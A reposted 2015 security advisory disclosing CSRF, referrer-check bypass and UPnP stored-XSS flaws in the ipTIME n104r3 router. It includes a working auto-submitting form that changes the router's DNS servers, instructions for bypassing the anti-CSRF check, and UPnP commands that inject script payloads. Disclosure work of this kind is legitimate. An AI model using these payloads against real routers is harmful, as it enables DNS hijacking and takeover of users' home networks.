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SecurityvulnsSECURITYVULNS:DOC:32323

HistoryJul 14, 2015 - 12:00 a.m.

ipTIME n104r3 vulnerable to CSRF and XSS attacks

2015-07-1400:00:00

vulners.com

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Advisory Information

Title: iptime n104r3 vulnerable to CSRF and XSS attacks
Advisory URL: https://pierrekim.github.io/advisories/2015-iptime-0x01.txt
Blog URL: https://pierrekim.github.io/blog/2015-07-03-iptime-n104r3-vulnerable-to-CSRF-and-XSS-attacks.html
Date published: 2015-07-03
Vendors contacted: None
Release mode: Released, 0day
CVE: no current CVE

Product Description

EFMNetworks ipTIME is the largest Korean brand of SOHO/small/middle
entreprise Routers/WiFi APs/Modems/Firewalls in South Korea with
millions of devices deployed in the country.
EFMNetworks ipTIME is occupying more than 60 percent of personal
network devices.

Vulnerability Summary

The ipTIME n104r3 is a wireless LAN router. Its current firmware
(9.58) with default configuration is
vulnerable to CSRF-attacks and XSS attacks.
Since, its anti-CSRF protection is based on a static HTTP referrer
(RFC 1945), an attacker can take over
most of the configuration and settings using anyone inside the LAN of
the router. Owners are urged to
contact ipTIME, and activate authentication on this product (disabled
by default).

Due to the fact the firmware seems to be used on several products, it
is highly likely that other products
of ipTIME are vulnerable.
The probability that the N104T is also vulnerable is very high but I
don't have possibility to test the
exploits against live ipTIME N104T routers.

Details - CSRF

The HTTP interface allows to edit the configuration. This interface is
vulnerable to CSRF.

Configuration and settings can be modified with CSRF attacks:

Activate the remote control management
Change the DNS configuration
Update the firmware
Change the Wifi Configuration
Create TCP redirections to the LAN
and more…

Example of forms exploiting the CSRF:

o Activating the remote control management on port 31337/tcp listening
on the WAN interface.

o Changing the DNS configuration to 0.2.0.7 and 1.2.0.1:

<html>
<head>
<script>
function s() {
document.f.submit();
}
</script>
</head>
<body onload="s()">
<form id="f" name="f" method="POST" action="http://192.168.0.1/do_cmd.htm">
<input type="hidden" name="CMD" value="WAN">
<input type="hidden" name="GO" value="netconf_wansetup.html">
<input type="hidden" name="SET0" value="50397440=2">
<input type="hidden" name="SET1" value="50856960=64-E5-99-AA-AA-AA">
<input type="hidden" name="SET2" value="235077888=1">
<input type="hidden" name="SET3" value="235012865=0.2.0.7">
<input type="hidden" name="SET4" value="235012866=1.2.0.1">
<input type="hidden" name="SET5" value="51118336=0">
<input type="hidden" name="SET6" value="51839232=1">
<input type="hidden" name="SET7" value="51511552=1500">
<input type="hidden" name="SET8" value="117834240=">
<input type="hidden" name="SET9" value="117703168=">
<input type="hidden" name="SET10" value="117637376=1492">
<input type="hidden" name="SET11" value="51446016=1500">
<input type="hidden" name="SET12" value="50463488=192.168.1.1">
<input type="hidden" name="SET13" value="50529024=255.255.255.0">
<input type="hidden" name="SET14" value="50594560=192.168.1.254">
</form>
</body>
</html>

The variable GO is an open redirect. Any URL like
http://www.google.com/ for instance can be used.
The variable GO is also vulnerable to XSS. It's out of scope in this advisory.

To bypass the protection (which checks the refer), you can, for
example, base64 the form and include
it in the webpage.
The refer will be empty and the CSRF will be accepted by the device:

o activate_admin_wan_csrf_bypass.html:

Visiting activate_admin_wan_csrf_bypass.html in a remote location will activate
the remote management interface on port 31337/TCP.

You can test it through
http://pierrekim.github.io/advisories/2015-iptime-0x01-PoC-change_dns_csrf_bypass.html

o change_dns_csrf_bypass.html:

Visiting activate_admin_wan_csrf_bypass.html in a remote location will
change the DNS servers
provided by the ipTIME device in the LAN.

You can test it through
http://pierrekim.github.io/advisories/2015-iptime-0x01-PoC-activate_admin_wan_csrf_bypass.html

Details - stored XSS and fun

There is a stored XSS, which can be injected using UPNP from the LAN,
without authentication:

upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping

Required argument:
Argument Name: NewPortMappingDescription
Data Type: string
Allowed Values: []
Set NewPortMappingDescription value to: <script>alert("XSS");</script>

Required argument:
Argument Name: NewLeaseDuration
Data Type: ui4
Allowed Values: []
Set NewLeaseDuration value to: 0

Required argument:
Argument Name: NewInternalClient
Data Type: string
Allowed Values: []
Set NewInternalClient value to: <script>alert("XSS");</script>

Required argument:
Argument Name: NewEnabled
Data Type: boolean
Allowed Values: []
Set NewEnabled value to: 1

Required argument:
Argument Name: NewExternalPort
Data Type: ui2
Allowed Values: []
Set NewExternalPort value to: 80

Required argument:
Argument Name: NewRemoteHost
Data Type: string
Allowed Values: []
Set NewRemoteHost value to: <script>alert("XSS");</script>

Required argument:
Argument Name: NewProtocol
Data Type: string
Allowed Values: ['TCP', 'UDP']
Set NewProtocol value to: TCP

Required argument:
Argument Name: NewInternalPort
Data Type: ui2
Allowed Values: []
Set NewInternalPort value to: 80

upnp>

The UPNP webpage in the administration area
(http://192.168.0.1/popup_upnp_portmap.html) will show:

[…]
<tr>
<td class=item_td>TCP</td>
<td class=item_td>21331</td>
<td class=item_td><script>alert("XSS")<script>alert("XSS");</script>:28777</td>
<td class=item_td><script>alert("XSS");</script></td>
</tr>
[…]

From my research, there are some bits overflapping with others,
resulting in showing funny ports
and truncating input data. A remote DoS against the upnpd process
seems to be easily done.

Gaining Remote Code Execution by UPNP exploitation is left as a
exercise for the reader.

Vendor Response

From my experience, contacting EFMNetworks ipTIME proved to be useless.
They don't publish security information in the changelog, they don't
answer to security researchers and
they don't credit them either.
EFMNetworks ipTIME was not contacted in regard of this case.

Report Timeline

Apr 20, 2015: Vulnerabilities found by Pierre Kim.
Jun 20, 2015: Vulnerabilities confirmed with reliable PoCs.
Jul 03, 2015: A public advisory is sent to security mailing lists.

Credit

These vulnerabilities were found by Pierre Kim (@PierreKimSec).

Greetings

Big thanks to Alexandre Torres.

References

https://pierrekim.github.io/advisories/2015-iptime-0x01.txt
https://pierrekim.github.io/blog/2015-07-03-iptime-n104r3-vulnerable-to-CSRF-and-XSS-attacks.html

Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

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